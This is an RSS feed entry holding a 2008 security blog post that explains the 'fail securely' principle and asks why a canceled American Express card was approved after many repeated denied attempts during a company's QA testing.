		<description><![CDATA[Most consumers are aware that when you close a credit card account, it&#8217;s not really closed.  For &#8220;convenience&#8221; reasons, recurring subscription charges such as your cable bill will continue to be approved.  You can kind of see where the credit card companies are coming from, but it&#8217;s a pretty weak argument.  The [...]]]></description>
			<content:encoded><![CDATA[<p>Most consumers are aware that when you close a credit card account, <a href="http://news.bbc.co.uk/2/hi/programmes/moneybox/3227850.stm">it&#8217;s not really closed</a>.  For &#8220;convenience&#8221; reasons, recurring subscription charges such as your cable bill will continue to be approved.  You can kind of see where the credit card companies are coming from, but it&#8217;s a pretty weak argument.  The cable company just needs to notify me that the credit card on file is no longer valid, and I&#8217;ll update my information.  Problem solved.</p>
<p>But that credit card weirdness is nothing compared to the one I&#8217;m about to describe.  </p>
<p>Before we do that, let&#8217;s take a moment to discuss the design principle of <a href="https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/349-BSI.html">failing securely</a>.  The general idea is that if a security mechanism fails, it should fail closed.  If your firewall crashes, it should block all traffic, not allow all the packets through.  If the power source to your card key system is interrupted, it shouldn&#8217;t unlock all the doors.  If the connection between your application server and your LDAP directory is severed, subsequent authentication requests should be rejected, not approved.  This is not rocket science.</p>
<p>So back to credit cards.  I had a conversation last night with an old friend who related a bizarre situation they had encountered during the QA process for one of their web applications.  One of their tests involved repeatedly attempting a credit card transaction using a canceled/expired American Express card.  Here&#8217;s what they saw in their logs, paraphrased by me:</p>
<pre>
Attempt 1: Denied
Attempt 2: Denied
Attempt 3: Denied
 .
 .
 .
Attempt 49: Denied
Attempt 50: Denied
Attempt 51: Approved
</pre>
<p>What the&#8230;?  Approved?  That can&#8217;t be right.  So they ran the test again.  Every time, after multiple consecutive rejected attempts, the transaction would inexplicably go through.  The threshold wasn&#8217;t always 50, but the general pattern was consistent &#8212; keep trying and eventually it&#8217;ll work.  Clearly, this had to be a bug in the code, but a deep-dive into the guts of the application turned up nothing. The application security group got American Express on the phone to see if they had any insight on this odd behavior.  The answer?  They didn&#8217;t concede the failure was on their end, despite log data showing the successful authorization codes.  </p>
<p>My gut instinct would be that the application requesting the transactions wasn&#8217;t failing securely (e.g. network connection to AmEx timed out, so just approve the transaction).  But that explanation wouldn&#8217;t account for authorization codes coming back.</p>
<p>So what in the world is going on here?  Why would the system behave this way?  Is it by design?  I can&#8217;t think of a single legitimate use case for failing open like this.  If this is actually a design decision by the credit card companies, I have no doubt that someone in our audience knows the rest of the story.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.veracode.com/blog/2008/10/credit-cards-failing-open/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
